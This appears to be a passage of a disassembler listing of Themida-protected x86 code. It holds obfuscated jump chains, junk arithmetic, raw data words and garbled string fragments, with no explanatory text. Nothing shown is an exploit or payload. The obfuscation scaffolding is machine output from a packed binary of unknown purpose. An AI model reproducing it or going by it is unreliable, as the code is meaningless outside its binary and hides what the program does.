		dd 4500000Bh, 0FFC5BEE9h, 0C83B66FFh, 0CC9FE99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5650C6:				; CODE XREF: Themida_:0056DD78j
		add	ecx, edx
		jmp	loc_55EA7B
; ---------------------------------------------------------------------------
		db 5Ah,	83h, 0ECh
		dd 0D4AFE904h, 0DD010000h, 28F5C581h, 0C58106C7h, 1EB447ABh
		dd 803AE9h
		db 0
; ---------------------------------------------------------------------------

loc_5650E9:				; CODE XREF: Themida_:0055FA5Aj
		add	esp, 2
		xor	bl, al
		jmp	loc_55EBDE
; ---------------------------------------------------------------------------
		db 50h
		dd 42474FFh, 0FFE3C9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5650FD:				; CODE XREF: Themida_:00561C0Ej
		push	edx
		mov	edx, 4
		jmp	loc_569AF6
; ---------------------------------------------------------------------------

loc_565108:				; CODE XREF: Themida_:0055F7AEj
		push	7E59h
		mov	[esp], edi
		jmp	loc_56314A
; ---------------------------------------------------------------------------
		db 1, 0CAh, 81h
		dd 0A643CFC2h, 2434FF26h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56FE61
; ---------------------------------------------------------------------------
		db 0BBh, 98h, 38h
		dd 0EE810E53h, 4D005A7Fh, 0C681DE29h, 4D005A7Fh, 0FF87CBE9h
		dd 246C81FFh, 0E1BDD04h, 68595A25h, 281Ah, 57241489h, 0EF0C5ABFh
		dd 7EFC15Ch, 0AE68E951h, 0B5510000h, 0CF0FE92Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_565172:				; CODE XREF: Themida_:0056B1EAj
		push	2A2724BBh
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		push	0A7Fh
		mov	[esp], ebx
		jmp	loc_564F2C
; ---------------------------------------------------------------------------
		db 81h
		dd 0B04ED8F7h, 68EF812Ah, 0E919367Fh, 0FFFFF96Fh
; ---------------------------------------------------------------------------

loc_5651A4:				; CODE XREF: Themida_:0055FAFEj
		push	ebx
		mov	ebx, 62D83ECFh
		dec	ebx
		jmp	loc_5644D4
; ---------------------------------------------------------------------------

loc_5651B0:				; CODE XREF: Themida_:00562765j
		add	dword ptr [esp], 4
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_571A8D
; ---------------------------------------------------------------------------

loc_5651C5:				; CODE XREF: Themida_:0056E800j
		mov	[esp], edi
		mov	edi, 5C4D1AD5h
		neg	edi
		neg	edi
		shl	edi, 2
		jmp	loc_5697EE
; ---------------------------------------------------------------------------

loc_5651D9:				; CODE XREF: Themida_:00568DC7j
		xchg	ecx, edx
		sub	esp, 4
		mov	[esp], ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_564C5F
; ---------------------------------------------------------------------------

loc_5651EF:				; CODE XREF: Themida_:0055F3F9j
		push	76F3h
		mov	[esp], ecx
		push	ebx
		mov	bl, 96h
		xor	bl, 0B0h
		or	bl, 0DAh
		push	18CFh
		mov	[esp], ecx
		push	eax
		mov	al, 83h
		jmp	loc_56EF4F
; ---------------------------------------------------------------------------
		dd 405h, 4EC8300h, 0BF243C89h, 43EC249Bh, 44CBEF81h, 0F78150D2h
		dd 0F319DFD4h, 6F1DD32Dh, 5F8014Ch, 4C6F1DD3h, 2404875Fh
		dd 33BAE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_565242:				; CODE XREF: Themida_:00571216j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55F538
; ---------------------------------------------------------------------------

loc_56524B:				; CODE XREF: Themida_:0056594Cj
		push	dword ptr [esp]
		pop	esi
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		pop	ebx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_572658
; ---------------------------------------------------------------------------
aShpb		db 'ShpB',0
		dd 62A6E900h, 0C4810000h, 4, 8904EC83h,	0FAE92414h, 50FFFF9Eh
		dd 1B3C94B8h, 5CD6352Bh, 932D403Eh, 0F757EC4Ch,	0EC6835D0h
		dd 0E955ECC6h, 7E2Bh
; ---------------------------------------------------------------------------

loc_5652BC:				; CODE XREF: Themida_:0056AD52j
		not	ebx
		shr	ebx, 3
		or	ebx, 330B23F2h
		neg	ebx
		jmp	loc_56459C
; ---------------------------------------------------------------------------
		dw 5755h
		dd 76692068h, 9B5AE92Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5652DA:				; CODE XREF: Themida_:0055E636j
		mov	eax, 0FEFE8026h
		add	ebx, eax
		jmp	loc_55FEC8
; ---------------------------------------------------------------------------

loc_5652E6:				; CODE XREF: Themida_:005708B4j
		push	dword ptr [esp]
		jmp	loc_560E4E
; ---------------------------------------------------------------------------
		dw 5966h
		dd 0FE35F180h, 0AE180C1h, 0E912C180h, 4E4Bh, 0EBC0D3F6h
		dd 0FE60E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56530A:				; CODE XREF: Themida_:0056A009j
		push	edi
		jmp	loc_56C5DF
; ---------------------------------------------------------------------------
		dd 9DE9F9F7h
		db 0C9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_565317:				; CODE XREF: Themida_:005614B6j
		push	294Ah
		mov	[esp], edi
		jmp	loc_55F0B9
; ---------------------------------------------------------------------------

loc_565324:				; CODE XREF: Themida_:0056768Aj
		mov	[esp], esi
		jmp	loc_563A44
; ---------------------------------------------------------------------------
		db 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_56C674
; ---------------------------------------------------------------------------

loc_565336:				; CODE XREF: Themida_:0056CE9Dj
		dec	ebp
		neg	ebp
		xor	ebp, 26410EE5h
		jmp	loc_562C13
; ---------------------------------------------------------------------------
a3SR		db '[3<$ИоR',0
		dd 0C8015900h, 9C5BA52h, 0D0012605h, 240C8B5Ah,	0E904C483h
		dd 0FFFFEFF7h
; ---------------------------------------------------------------------------

loc_565364:				; CODE XREF: Themida_:0055FA1Fj
		mov	edi, [esp]
		push	edi
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		jmp	loc_56FE05
; ---------------------------------------------------------------------------
aKYRssH		db '╠┼(хY[RSИ╢H',0
		align 4
		dd 42474FFh, 0E205E959h, 0C681FFFFh, 4,	4EE81h,	26E90000h
		db 0B4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_56539F:				; CODE XREF: Themida_:0056112Cj
		mov	[esp], esi
		push	ebp
		mov	ebp, 1D7A642Bh
		sub	esp, 4
		jmp	loc_565AEC
; ---------------------------------------------------------------------------

loc_5653B0:				; CODE XREF: Themida_:0056FD76j
		and	esi, 174E3164h
		push	ebp
		mov	ebp, 792844FEh
		jmp	loc_569C99
; ---------------------------------------------------------------------------

loc_5653C1:				; CODE XREF: Themida_:0055FC9Dj
		add	esi, 32ED6938h
		jmp	loc_56572B
; ---------------------------------------------------------------------------

loc_5653CC:				; CODE XREF: Themida_:0056480Dj
		mov	[esp], edx
		jmp	loc_55E7D0
; ---------------------------------------------------------------------------
		dd 7982C381h, 0C3297FFAh, 7982EB81h, 0A5E97FFAh, 810000ADh
		dd 4ECh, 24248900h, 4240483h, 68243C8Bh, 655Ah,	89242C89h
		dd 4C581E5h, 81000000h,	4C5h, 242C3300h, 0FFE944E9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_561A50
; ---------------------------------------------------------------------------
		db 0E9h, 4Bh, 84h
		dd 3489FFFFh, 1724E924h, 4890000h, 5E08924h, 4,	405h, 74FF5000h
		dd 8F580424h, 248B2404h, 4C68124h, 0E9000000h, 151Fh, 4EF0E781h
		dd 974768E3h, 6EE9D0F7h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56545F:				; CODE XREF: Themida_:005711A7j
		add	ebp, 4
		jmp	loc_564C86
; ---------------------------------------------------------------------------
		db 58h
		dd 0CEE95150h, 0FFFF95h, 148B66F0h, 74ABE924h, 0C5810000h
		dd 438A5250h, 0C103EDC1h, 835603E5h, 3C8904ECh,	0AE97E924h
		dd 0EC810000h, 4, 0BF243C89h, 0B8F0413Dh, 0FFAB56E9h, 240C89FFh
		dd 0D070E950h, 0E389FFFFh, 4C381h, 0F3E90000h, 87FFFFD4h
		dd 895C2404h, 54552434h, 4C5815Dh, 0E9000000h, 0C78Fh
		dd 4EA815Dh, 0E9000000h, 0FFFFEBE9h, 2D7AC181h,	0D9F72936h
		dd 0C102E1C1h, 0F18106E9h, 54A55535h, 0FDE9CB21h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5654F7:				; CODE XREF: Themida_:0056E5EFj
		mov	esi, [esp]
		add	esp, 4
		sub	ecx, 5F41557Fh
		add	ecx, esi
		jmp	loc_56D548
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 68000000h,	73C2h, 0E9241C89h, 0CD01h, 0FF8348E9h
		dd 0C1DDF7FFh, 2BE905EDh, 5E000096h, 89C28952h,	8B585AD1h
		dd 0C483241Ch, 0E3E95504h, 68000042h, 385Ah, 0FF885DE9h
		dd 24048BFFh, 0D104C483h, 9BB435E0h, 8953B0CAh,	5BDF89C3h
		dd 8124048Bh, 4C4h, 99C68100h, 15AA261h, 685150FEh, 10135D92h
		dd 7CE18159h, 0C133F50Eh, 8EE902E9h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_565587:				; CODE XREF: Themida_:0056A79Ej
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7FA94307h
		mov	ecx, ebx
		pop	ebx
		mov	edi, ecx
		jmp	loc_5629B6
; ---------------------------------------------------------------------------
		dw 1C87h
aLISQ		db '$▀$$┴$$Иг÷',0
		align 10h
		dd 0F02C24B9h, 0DBC98107h, 817D0257h, 0A05797F1h, 62C1811Dh
		dd 0C1A68715h, 0C18103E1h, 6989268Fh, 3AADE981h, 0E9810A91h
		dd 7CB9D31Bh, 84BCE9h, 477ABE00h, 0F0012530h, 632FE95Eh
		dd 815E0000h, 5201EEC1h, 81C1017Ch, 5201EEE9h, 8E12E97Ch
		dd 1C330000h, 241C3124h, 5C241C33h, 2424D366h, 8257E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565616:				; CODE XREF: Themida_:0055E8AFj
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_55D86D
; ---------------------------------------------------------------------------

loc_56562B:				; CODE XREF: Themida_:00566C71j
		add	esp, 4
		add	eax, 4FE81FB4h
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	393139F1h
		mov	edi, [esp]
		add	esp, 4
		inc	edi
		sub	esp, 4
		jmp	loc_5717AC
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 0E828BD55h, 0E981810Fh, 80630A1h, 5949E9h
		dd 242C8B00h, 4C481h, 0B6E90000h, 830000C2h, 2C8904ECh
		dd 25E16824h, 505D2B78h, 74A44B8h, 8BC53126h, 1FE92404h
		db 0C9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_565697:				; CODE XREF: Themida_:0055DEB7j
		mov	eax, 734237A7h
		sub	eax, 4551CF98h
		mov	ecx, eax
		pop	eax
		add	ecx, 415E985h
		sub	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_56480C
; ---------------------------------------------------------------------------
		db 5Bh,	83h, 0C4h
		dd 0E0895004h, 0D0AE9h,	0E3895300h, 4C381h, 0EC830000h
		dd 240C8904h, 2B9h, 0C0E95200h,	68FFFFEFh, 4A4Dh, 89240C89h
		dd 7EBB53E1h, 50122374h, 0B0CA9B8h, 12D5Ch, 34E90000h
		dd 680000C9h, 0EB8h, 0E9241C89h, 68ADh,	240C8B66h, 7C146853h
		dd 16E90000h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56572B:				; CODE XREF: Themida_:005653C7j
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		mov	[esp], dx
		mov	dl, 0ABh
		jmp	loc_56DAE0
; ---------------------------------------------------------------------------

loc_56573B:				; CODE XREF: Themida_:005711F1j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	10F8h
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, 10F60E88h
		add	eax, ebx
		sub	eax, 10F60E88h
		pop	ebx
		jmp	loc_561721
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C381h, 0C3810000h, 2, 5C241C87h, 8904EC83h,	0E2892414h
		dd 4C281h, 0BD550000h, 4, 9881E9h, 19A86800h, 2C890000h
		dd 0E8E95324h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56579F:				; CODE XREF: Themida_:00569030j
		sub	esi, ebp
		pop	ebp
		jmp	loc_5721C0
; ---------------------------------------------------------------------------

loc_5657A7:				; CODE XREF: Themida_:00568D43j
		sub	edx, 6F5627CCh
		add	edx, 44FC74CCh
		sub	edx, 38AE6DEAh
		xor	esi, edx
		pop	edx
		xor	esi, 26C1139Bh
		jmp	loc_55FF13
; ---------------------------------------------------------------------------

loc_5657C7:				; CODE XREF: Themida_:00562D9Ej
		add	cl, 0BDh
		jmp	loc_57007C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 52582434h, 0C281E289h, 4, 8704EA83h,	0A6E92414h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5657E7:				; CODE XREF: Themida_:0055D9FBj
		add	ebx, 0FFFFFFFFh
		neg	ebx
		neg	ebx
		xor	ebx, 26C1344Bh
		push	esi
		mov	esi, 738537FCh
		or	esi, 61C804FEh
		xor	esi, 9F44C0A0h
		jmp	loc_5609E4
; ---------------------------------------------------------------------------
		dw 0E0D1h
		dd 0AC5BD55h, 0E581235Ch, 3D5A78D7h, 0F704EDC1h, 4EC81D5h
		dd 89000000h, 0BBF243Ch, 4F42F32Eh, 70C6EF81h, 83E95346h
		dd 68000061h, 0B14h, 0BA241489h, 659462B4h, 4935C281h
		dd 0F7426FFAh, 0EA814AD2h, 2A715410h, 0E95AD601h, 0B9F0h
		dd 2474FF50h, 0A2E95804h, 5BFFFFB0h, 2EEC14Eh, 38AFCE81h
		dd 0D687052Eh, 0D687D2F7h, 73AF68h, 243C8900h, 0CB2814BFh
		dd 3EEE817Dh, 0E9551767h, 28D5h, 0C8BC831h, 4C48324h, 0FF1C4709h
		dd 48B2434h, 0F9E4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5658AA:				; CODE XREF: Themida_:0055FA04j
		add	esp, 4
		jmp	loc_5668AC
; ---------------------------------------------------------------------------
aIrsay		db '┴ЮИ²Y',0
		db 0
; ---------------------------------------------------------------------------

loc_5658B9:				; CODE XREF: Themida_:0056374Fj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		jmp	loc_56E172
; ---------------------------------------------------------------------------

loc_5658EF:				; CODE XREF: Themida_:0056A82Dj
		sub	esi, 6C5234D4h
		add	esi, eax
		add	esi, 6C5234D4h
		pop	eax
		push	6868h
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_560BEB
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFBF99h, 0EC248F05h, 0E9F80174h, 0C80Fh
; ---------------------------------------------------------------------------

loc_565930:				; CODE XREF: Themida_:005725B0j
		add	edi, ebp
		pop	ebp
		jmp	loc_56DB06
; ---------------------------------------------------------------------------

loc_565938:				; CODE XREF: Themida_:00570E72j
		mov	esi, ebx
		pop	ebx
		sub	ebp, 33A05A0Fh
		sub	ebp, esi
		push	eax
		mov	eax, 33A05A0Fh
		add	ebp, eax
		pop	eax
		jmp	loc_56524B
; ---------------------------------------------------------------------------
aRs_k		db 'RИ.╙',0
		dw 5700h
		dd 1585E9h
		db 0
; ---------------------------------------------------------------------------

loc_56595D:				; CODE XREF: Themida_:0056B9B9j
		pop	ecx
		or	esi, 10D01258h
		jmp	loc_56FE9E
; ---------------------------------------------------------------------------
		db 59h,	21h, 0FDh
		dd 81243C8Bh, 4C4h, 0A1DFE900h,	14330000h, 24248B24h, 0FFF98BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565985:				; CODE XREF: Themida_:005674A5j
		add	esp, 4
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_56C0FA
; ---------------------------------------------------------------------------
aQsT		db 'QИьT',0
		db 0
; ---------------------------------------------------------------------------

loc_5659A5:				; CODE XREF: Themida_:0056327Ej
		add	bl, 0ACh
		push	0C0Eh
		mov	[esp], eax
		mov	ah, 0D3h
		xor	ah, 50h
		push	ecx
		mov	cl, 40h
		push	edx
		mov	dl, 89h
		xor	dl, 87h
		xor	cl, dl
		pop	edx
		inc	cl
		inc	cl
		shl	cl, 3
		add	cl, 57h
		xor	ah, cl
		pop	ecx
		shl	ah, 8
		inc	ah
		push	edx
		mov	dl, 65h
		jmp	loc_564F9E
; ---------------------------------------------------------------------------
		db 31h
		dd 8B04247Ch, 0C481243Ch, 4, 0E201E95Fh, 0EB81FFFFh, 3E736107h
		dd 0F753DBF7h, 815B2414h, 0DE9851EBh, 5BDA01FAh, 295AD689h
		dd 0ED815EF5h, 5CE6693Ch, 0C581C501h, 5CE6693Ch, 50EEC581h
		dd 56582675h, 2BB53h, 0DE890000h, 0E9F5015Bh, 0CC85h, 8920CBBBh
		dd 5E3C127h, 2FDEF381h,	0EBC16CFCh, 0BE565005h,	142A512Fh
		dd 0D6F74646h, 0FF8751E9h, 78E781FFh, 81396372h, 8194DEEFh
		dd 5FF80173h, 562CC381h, 0C30152EBh, 0FFAE3FE9h, 4C781FFh
		dd 51000000h, 4B9h, 0E9CF0100h,	0FFFFA8E7h, 9D1C77FFh
		dd 1CD25966h, 0DEE99C24h, 81FFFF7Dh, 8A6B60EAh,	0A9CA810Fh
		dd 817FF404h, 0F1A0E9F2h, 5AD1099Fh, 3BA5E181h,	0E9534EE4h
		dd 7471h, 2BE56h, 22680000h, 89000061h,	6668242Ch, 0E91A1606h
		dd 0B79Dh
; ---------------------------------------------------------------------------

loc_565AC8:				; CODE XREF: Themida_:00569436j
		xor	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ecx
		push	edi
		jmp	loc_561B91
; ---------------------------------------------------------------------------

loc_565AD8:				; CODE XREF: Themida_:005672C8j
		push	edx
		jmp	loc_569BF4
; ---------------------------------------------------------------------------

loc_565ADE:				; CODE XREF: Themida_:005688C5j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_572198
; ---------------------------------------------------------------------------

loc_565AEC:				; CODE XREF: Themida_:005653ABj
		mov	[esp], ebp
		mov	ebp, 0E2859BD6h
		push	ecx
		mov	ecx, ebp
		jmp	loc_571149
; ---------------------------------------------------------------------------
		dd 57E914B2h, 8900007Bh, 6FBE2434h, 291ECAD7h, 0D0315EF2h
		dd 5756525Ah, 0AAEBB53h, 0DF8966D8h, 63E7815Bh,	81138649h
		dd 875AAAEFh, 8290E975h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_565B2E:				; CODE XREF: Themida_:00568965j
		sub	ebx, 4129386Ah
		add	ebx, edi
		add	ebx, 4129386Ah
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	cl, 35h
		not	cl
		shl	cl, 8
		jmp	loc_5642A8
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 2
		dd 66000000h, 53241489h, 0FFDC37E9h, 2434FFFFh,	582434FFh
		dd 4C481h, 0B8680000h, 89000000h, 0E2892414h, 4EC81h, 34890000h
		dd 42C5E924h, 88520000h, 5AD088DAh, 0C688525Bh,	71E9F788h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565BA7:				; CODE XREF: Themida_:0055E2B4j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55F882
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FFBA51E9h, 0F7D6F7FFh, 3F681DEh,	890F3E49h, 9AB85EF7h
		dd 31C42B52h, 243C8BF8h, 4C481h, 63E90000h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_565BEB:				; CODE XREF: Themida_:0056605Fj
		pop	ebx
		jmp	loc_56DD7D
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0B6h
		dd 53686602h, 6721E976h, 0C2810000h, 4,	3304EA83h, 14312414h
		dd 24143324h, 8924248Bh, 40B62414h, 0FFF410E9h,	24248BFFh
		dd 8209E953h, 5456FFFFh, 0D8E9555Eh, 0B8FFFFE6h, 762100A2h
		dd 158C629h, 54E951D6h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565C3F:				; CODE XREF: Themida_:005662E0j
		or	eax, eax
		jnz	loc_571E59
		push	1
		mov	edx, [esp]
		push	536Ch
		jmp	loc_56ADD7
; ---------------------------------------------------------------------------

loc_565C59:				; CODE XREF: Themida_:0055F6D7j
		add	esp, 4
		push	76C8h
		mov	[esp], edi
		mov	edi, 4CFD58E0h
		push	ecx
		mov	ecx, 4A629D6h
		not	ecx
		neg	ecx
		sub	ecx, 3E6D0864h
		jmp	loc_56C881
; ---------------------------------------------------------------------------
		db 87h,	72h, 38h
		dd 0F926E951h, 2CBAFFFFh, 87073304h, 0E9D3F7DAh, 25AEh
; ---------------------------------------------------------------------------

loc_565C98:				; CODE XREF: Themida_:0056CC75j
		inc	edx
		neg	edx
		jmp	loc_56E796
; ---------------------------------------------------------------------------

loc_565CA0:				; CODE XREF: Themida_:0056E198j
		xor	esi, 66BC07EEh
		sub	esp, 4
		jmp	loc_55FA86
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 66DA2506h, 0D0F769B3h, 0B164DA35h, 0E9C50101h, 0FFFFAEEDh
		dd 69BB5358h, 297B5C0Fh, 5B08245Ch, 4245401h, 4244481h
		dd 7B5C0F69h, 4244481h,	2E68058Ch, 77A3E9h
		db 0
; ---------------------------------------------------------------------------

loc_565CE9:				; CODE XREF: Themida_:005636A2j
		pop	edx
		xchg	ebx, edx
		jmp	loc_56CBAD
; ---------------------------------------------------------------------------

loc_565CF1:				; CODE XREF: Themida_:0055D8B4j
		push	edx
		push	eax
		mov	eax, 4A0E5BC5h
		add	eax, 3A1560E0h
		xor	eax, 9834CB28h
		jmp	loc_56F9FB
; ---------------------------------------------------------------------------
		db 89h
		dd 4832424h, 2C8B0424h,	0E7895724h, 4C781h, 0C7830000h
		dd 243C8704h, 4EC815Ch,	89000000h, 0BF572404h, 360D4168h
		dd 0E9DFF74Fh, 0FFFF965Eh
; ---------------------------------------------------------------------------

loc_565D38:				; CODE XREF: Themida_:00566E5Aj
		mov	eax, 1BA81C5Eh
		mov	esi, 26983A1Bh
		sub	esi, eax
		mov	eax, [esp]
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------

loc_565D4C:				; CODE XREF: Themida_:0056DB4Aj
		pop	bx
		add	al, dl
		jmp	loc_5697DC
; ---------------------------------------------------------------------------
aXiqSc		db 'X┴О]И√╨',0
		align 2

loc_565D5E:				; CODE XREF: Themida_:0056DAD3j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 24h
		jmp	loc_56840E
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0D828FE04h, 7BF968h,	0E971E900h, 1E68FFFFh, 5E0DBA18h
		dd 170AE681h, 0F74E3718h, 8AF681D6h, 0E9F31D3Ch, 17C4h
		dd 0C2E9585Bh
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565DAB:				; CODE XREF: Themida_:0055F87Dj
		add	ecx, eax
		pop	eax
		jmp	loc_570488
; ---------------------------------------------------------------------------

loc_565DB3:				; CODE XREF: Themida_:0056E44Fj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_568023
; ---------------------------------------------------------------------------

loc_565DCF:				; CODE XREF: Themida_:00567924j
		xor	eax, 4532A99Ah
		jmp	loc_5648BE
; ---------------------------------------------------------------------------
		db 68h,	0D9h, 17h
		dd 1E90000h, 100006Eh, 0E9C281C2h, 8B043662h, 0C4812404h
		dd 4, 0EA81DA01h, 6B636008h, 0E92434FFh, 0FFFFF8C5h, 68240C8Bh
		dd 446Dh, 0E9243C89h, 0FFFF8690h, 0E904EC83h, 0FFFFE391h
		dd 405E089h, 0E9000000h, 0FFFFB9E5h, 12454F6h, 0C0C4FE58h
		dd 21E906ECh, 810000C1h, 9D0540C9h, 81D1F72Fh, 0D6F0B1E9h
		dd 0E9CA299Bh, 0BDE0h, 2D06E8C1h, 0FF51E27Eh, 3BE9C129h
		dd 8100009Eh, 4C4h, 76936800h, 34890000h, 7E4BE924h, 0E3890000h
		dd 2EE9E9h, 40500h, 0DFE90000h,	0BEFFFFB4h, 800A14h, 895EF731h
		dd 2434FFFAh, 4C4835Fh,	2D63C181h, 42E946D2h, 0FFFFFF9Ah
		dd 815F2434h, 4C4h, 4BD5500h, 1000000h,	1C875DEBh, 0B70F5C24h
		dd 7A2A68C8h, 0D5E90000h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565EBF:				; CODE XREF: Themida_:0056BD92j
		add	ebp, 14F44709h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55E498
; ---------------------------------------------------------------------------
a0syaiqszv	db '0ХY─КqИz╒',0
		align 2

loc_565EDE:				; CODE XREF: Themida_:0057041Fj
		shr	ecx, 8
		add	ecx, 0FFE69A0Bh
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 75153B51h
		and	edi, 572F771Eh
		shl	edi, 1
		add	edi, 0FFFFFFFFh
		and	edi, 65371220h
		dec	edi
		xor	edi, 200201FBh
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_569AC4
; ---------------------------------------------------------------------------
		dd 0E9241433h, 1912h, 1E685250h, 8B023C6Ch, 0C4832414h
		dd 1CBB5304h, 0F73D3A12h, 97E94BDBh, 51FFFFB9h,	0EC815BB5h
		dd 4, 8686E9h
		db 0
; ---------------------------------------------------------------------------

loc_565F4D:				; CODE XREF: Themida_:00563CA5j
		add	ebp, ecx
		pop	ecx
		pop	ecx
		shr	ebp, 1
		jmp	loc_56022B
; ---------------------------------------------------------------------------
		dd 0ED7208BBh, 5BDF093Fh, 8108E7C1h, 74DE5DF7h,	8BF8296Bh
		dd 0C483243Ch, 0E9EA8104h, 0E9043662h, 0FFFFFE67h, 0E9028F64h
		dd 0FFFF78E9h, 5AD7015Ah, 0D93E9h, 8875B300h, 0C3205BD8h
		dd 24048B66h, 2C481h, 67E90000h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_565FA3:				; CODE XREF: Themida_:0056FC80j
		mov	ecx, 0E363C90h
		dec	ecx
		sub	ecx, 0E363C8Dh
		add	ebp, ecx
		pop	ecx
		push	ebp
		jmp	loc_562EB6
; ---------------------------------------------------------------------------
		dd 0D998E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565FBE:				; CODE XREF: Themida_:00571F63j
		add	esp, 4
		or	ebp, 5D987A4Bh
		push	edi
		mov	edi, 6A621FE3h
		jmp	loc_56389A
; ---------------------------------------------------------------------------
aMsp4		db '╛И╞4',0
		align 4
		dd 0C00BB450h, 0C48004E4h, 8BE58885h, 0C4832404h, 1EF58004h
		dd 52FEED80h, 0FFD4B5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565FF5:				; CODE XREF: Themida_:0056C2C1j
		neg	ebp
		xchg	ebp, ebx
		jmp	loc_568A76
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4EC81h, 3C890000h, 4BF24h, 0FB010000h, 0FFDD81E9h, 0D9F749FFh
		dd 7471E181h, 0E9811DBFh, 0BF18D2D8h, 0FF8BADE9h, 0E38953FFh
		dd 4C381h, 9DE90000h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_566037:				; CODE XREF: Themida_:00560F3Ej
		pop	edx
		sub	dword ptr [esp+4], 4BFE65A4h
		sub	dword ptr [esp+4], 6B3C57EAh
		add	[esp+4], ebx
		add	dword ptr [esp+4], 6B3C57EAh
		push	edx
		mov	edx, 4BFE65A4h
		add	[esp+8], edx
		pop	edx
		jmp	loc_565BEB
; ---------------------------------------------------------------------------
		dd 8104C483h, 945F6FC5h, 52F50136h, 945F6F68h, 0E9565A36h
